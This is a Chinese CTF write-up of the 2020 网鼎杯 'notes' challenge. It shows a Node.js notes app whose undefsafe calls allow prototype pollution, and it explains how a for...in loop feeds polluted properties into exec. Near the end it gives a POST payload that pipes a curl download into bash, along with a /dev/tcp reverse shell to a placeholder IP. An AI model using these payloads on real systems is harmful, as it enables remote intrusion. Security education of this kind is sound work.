• [网鼎杯 2020 青龙组]notes(Undefsafe原型链污染)


    var express = require('express');
    var path = require('path');
    const undefsafe = require('undefsafe');
    const { exec } = require('child_process');
    
    var app = express();
    class Notes {
        constructor() {
            this.owner = "whoknows";
            this.num = 0;
            this.note_list = {};
        }
    
        write_note(author, raw_note) {
            this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
        }
    
        get_note(id) {
            var r = {}
            undefsafe(r, id, undefsafe(this.note_list, id));
            return r;
        }
    
        edit_note(id, author, raw) {
            undefsafe(this.note_list, id + '.author', author);
            undefsafe(this.note_list, id + '.raw_note', raw);
        }
    
        get_all_notes() {
            return this.note_list;
        }
    
        remove_note(id) {
            delete this.note_list[id];
        }
    }
    
    var notes = new Notes();
    notes.write_note("nobody", "this is nobody's first note");
    
    app.set('views', path.join(__dirname, 'views'));
    app.set('view engine', 'pug');
    
    app.use(express.json());
    app.use(express.urlencoded({ extended: false }));
    app.use(express.static(path.join(__dirname, 'public')));
    
    app.get('/', function(req, res, next) {
      res.render('index', { title: 'Notebook' });
    });
    
    app.route('/add_note')
        .get(function(req, res) {
            res.render('mess', {message: 'please use POST to add a note'});
        })
        .post(function(req, res) {
            let author = req.body.author;
            let raw = req.body.raw;
            if (author && raw) {
                notes.write_note(author, raw);
                res.render('mess', {message: "add note sucess"});
            } else {
                res.render('mess', {message: "did not add note"});
            }
        })
    
    app.route('/edit_note')
        .get(function(req, res) {
            res.render('mess', {message: "please use POST to edit a note"});
        })
        .post(function(req, res) {
            let id = req.body.id;
            let author = req.body.author;
            let enote = req.body.raw;
            if (id && author && enote) {
                notes.edit_note(id, author, enote);
                res.render('mess', {message: "edit note sucess"});
            } else {
                res.render('mess', {message: "edit note failed"});
            }
        })
    
    app.route('/delete_note')
        .get(function(req, res) {
            res.render('mess', {message: "please use POST to delete a note"});
        })
        .post(function(req, res) {
            let id = req.body.id;
            if (id) {
                notes.remove_note(id);
                res.render('mess', {message: "delete done"});
            } else {
                res.render('mess', {message: "delete failed"});
            }
        })
    
    app.route('/notes')
        .get(function(req, res) {
            let q = req.query.q;
            let a_note;
            if (typeof(q) === "undefined") {
                a_note = notes.get_all_notes();
            } else {
                a_note = notes.get_note(q);
            }
            res.render('note', {list: a_note});
        })
    
    app.route('/status')
        .get(function(req, res) {
            let commands = {
                "script-1": "uptime",
                "script-2": "free -m"
            };
            for (let index in commands) {
                exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                    if (err) {
                        return;
                    }
                    console.log(`stdout: ${stdout}`);
                });
            }
            res.send('OK');
            res.end();
        })
    
    
    app.use(function(req, res, next) {
      res.status(404).send('Sorry cant find that!');
    });
    
    
    app.use(function(err, req, res, next) {
      console.error(err.stack);
      res.status(500).send('Something broke!');
    });
    
    const port = 8080;
    app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140

    简单分析一下

    大概就几个功能,添加笔记、修改笔记、删除笔记、笔记列表

    然后注意到下面有个刷新笔记的页面/status,那里有这么一行可以执行代码

    exec(commands[index], {shell:'/bin/bash'}

    这里了解到,这个 for (let index in commands) 不只是遍历 commands 表,还会去回溯遍历原型链上的属性

    ----------------文档 for…in-------------------

    for…in 循环只遍历可枚举属性(包括它的原型链上的可枚举属性)
    像 Array和 Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性,
    例如 String 的 indexOf() 方法或 Object的toString()方法。循环将遍历对象本身的所有可枚举属性,以及对象从其构造函数原型中继承的属性(更接近原型链中对象的属性覆盖原型属性)

    整理思路

    所以我们这里可以污染原型链的属性,然后在/status处遍历原型链中我们污染的属性去执行恶意代码

    __proto__ 返回原型链属性

    这里直接弹个shell出来

    POST /edit_note
    
    id=__proto__.cmd&author=curl http://xxx.xxx.xxx.xxx/shell.txt|bash&raw=paidx0
    
    bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    ------------------参考文章-----------------
  • 相关阅读:
    _kbhit() and getch() 在win11控制台程序中不好用了
    如何快速给图标包命名
    【大语言模型】ACL2024论文-03 MAGE: 现实环境下机器生成文本检测
    【设计模式专题】观察者模式实战详细分析
    C++代码编程学习:inline函数学习(Essential C++ 第二章)
    A66 STM32_HAL库函数 之 USART通用驱动 -- B -- 所有函数的介绍及使用
    业界中说的快速原型法是什么
    Sqlserver如何调试存储过程
    Python爬虫和数据分析,石油原油加工产品产量数据处理分析
    linux系统编程(六) linux文件系统的操作
  • 原文地址:https://blog.csdn.net/weixin_49656607/article/details/126612614